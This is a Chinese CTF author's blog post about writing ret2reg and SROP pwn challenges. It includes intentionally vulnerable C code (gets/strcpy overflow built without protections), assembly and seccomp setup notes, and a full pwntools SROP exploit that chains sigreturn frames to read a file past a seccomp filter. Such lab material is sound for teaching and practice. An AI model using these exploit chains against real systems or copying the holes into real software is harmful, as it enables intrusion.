​ 例行月赛出题,出了三道,两道是基于自己做过的题,融合了其他知识点(缝缝补补又一年),还有一道是临时出的凑数的。感觉确实不仅需要做题,也需要出题,出题的时候才能更好地理解出题人的想法(废话。。),以及注意到之前的很多细节。

​ 这次也踩坑踩了很多,比如条件竞争的题目,不知道怎么部署。。。想了很多方案都不行。以及docker容器自身的问题,它只是隔离了进程,并没有用新的内核,所以一些内核特性用不了。

ret2reg

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

#include <stdio.h>
#include <string.h>

void evilfunction(char *input) {

char buffer[512];
strcpy(buffer, input);
}

int main(int argc, char **argv) {

char input[580];
printf("welcome to here,please give me something");
gets(input);
evilfunction(input);
return 0;
}



分析

​ 本身这道题的原题是没有开启随机化,相对比较简单,可以直接写shellcode,然后call eax这种过去执行shellcode,但是如果开了随机化,call eax的地址就不确定了,但是可以进行枚举,(之前一直不会写枚举的脚本,这次学会了。。。)感觉之前有时候也是成功了,但是没有正确停止或打印

​ PIE和ALSR:

ALSR:/proc/sys/kernel/randomize_va_spac 完全开启时 栈、堆、libc变化,程序本身及PLT不变

PIE:可执行程序的加载基址

​ 在作者那个年代,应该是默认不开启PIE的,现在都是默认开启… 不开启的话,就很容易了,alsr不影响,所以做的时候有点怪怪的…

gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector -no-pie

objdump -d ret2reg

804901d

image-20230916141427362

image-20230916141359497

开启PIE

​ 进行枚举, 随机化程度是多少呢??

踩坑,改为用户输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>    
#include <string.h>

void evilfunction(char *input) {

char buffer[512];
strcpy(buffer, input);
}

int main(int argc, char **argv) {

char input[580];
printf("welcome to here,please give me something");
gets(input);
evilfunction(input);
return 0;
}

SROP

​ 本来寻思直接给个/bin/sh会简单,后来发现好像和原题差不多…然后不如加个系统调用限制(不过好像过滤的不完全,还是能getshell?)

如何直接写汇编呢? (也可以写一篇分析

https://blog.csdn.net/qq_27816307/article/details/50995042

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
section .data            ; 数据段声明
msg db "Hello, world!", 0xA ; 要输出的字符串
len equ $ - msg ; 字串长度

section .text ; 代码段声明
global _start ; 指定入口函数
_start: ; 在屏幕上显示一个字符串
mov eax, 4 ; 系统调用号(sys_write)
;man 2 write 可以查看write系统调用的功能
;write函数原型: ssize_t write(int fd,const void *buf,size_t count);
mov ebx, 1 ; 参数一:文件描述符(stdout)
mov ecx, msg ; 参数二:要显示的字符串
mov edx, len ; 参数三:字符串长度
int 0x80 ; 调用内核功能。软中断,陷入内核
mov eax, 1 ; 系统调用号(sys_exit)
mov ebx, 0 ; 参数一:退出代码
int 0x80 ; 调用内核功能

nasm 注意编译多少位的,blog里面是32的,64的话

nams -f elf64 hello.asm

用gcc链接也可以(本质都一样吧)

gcc -o example example.o

ld -s -o hello hello.o

反汇编看一下

用seccmp禁掉execve? 还是啥

先封装到c里面

1
2
nasm -f elf64 hello.asm
gcc -fno-stack-protector -no-pie -o myprogram 1.c hello.o

image-20230829111052913

objdump -s -j .rodata your_binary_file 查看字符串

seccomp

关于文件描述符的调试,gdb中如何查看呢? Linux中又如何查看呢?

1.c:4:10: fatal error: seccomp.h: 没有那个文件或目

sudo apt-get install libseccomp-dev

编译的时候需要加选项 -lseccomp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
root@ubuntu:/home/ubuntu/桌面/pwn/8月/srop/test1# cat exp.py
from pwn import *
small = ELF('./test')

if args['REMOTE']:
sh = remote('127.0.0.1', 7777)
else:
sh = process('./myprogram')
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(sh,"b 0x401000")
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x000000000040112e
start_addr = 0x0000000000401120
payload = p64(start_addr) * 4

sh.send(payload)
pause()
sh.send("\x23")
stack_addr = u64(sh.recv()[16:24])
log.success('leak stack addr :' + hex(stack_addr))

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + b"a"*8 + bytes(sigframe)
sh.send(payload)
sigreturn = p64(syscall_ret) + b"x"*7
print("hereeeeeeeeeeeeeeeeeeeeeeeeeee")
pause()
sh.send(sigreturn)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_open
sigframe.rdi = 0x402004
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + b"a"*8 + bytes(sigframe)
sh.send(payload)
sigreturn = p64(syscall_ret) + b"x"*7
print("hereeeeeeeeeeeeeeeeeeeeeeeeeee")
pause()
sh.send(sigreturn)


sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 3
sigframe.rsi = stack_addr+0x200
sigframe.rdx = 0x100
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + b"a"*8 + bytes(sigframe)
sh.send(payload)
sigreturn = p64(syscall_ret) + b"x"*7
print("hereeeeeeeeeeeeeeeeeeeeeeeeeee")
pause()
sh.send(sigreturn)


sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_write
sigframe.rdi = 1
sigframe.rsi = stack_addr+0x200
sigframe.rdx = 0x100
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + b"a"*8 + bytes(sigframe)
sh.send(payload)
sigreturn = p64(syscall_ret) + b"x"*7
print("hereeeeeeeeeeeeeeeeeeeeeeeeeee")
pause()
sh.send(sigreturn)

sh.interactive()

白名单感觉复杂点,可以直接上黑名单

https://www.sec4.fun/2018/07/23/seccomp/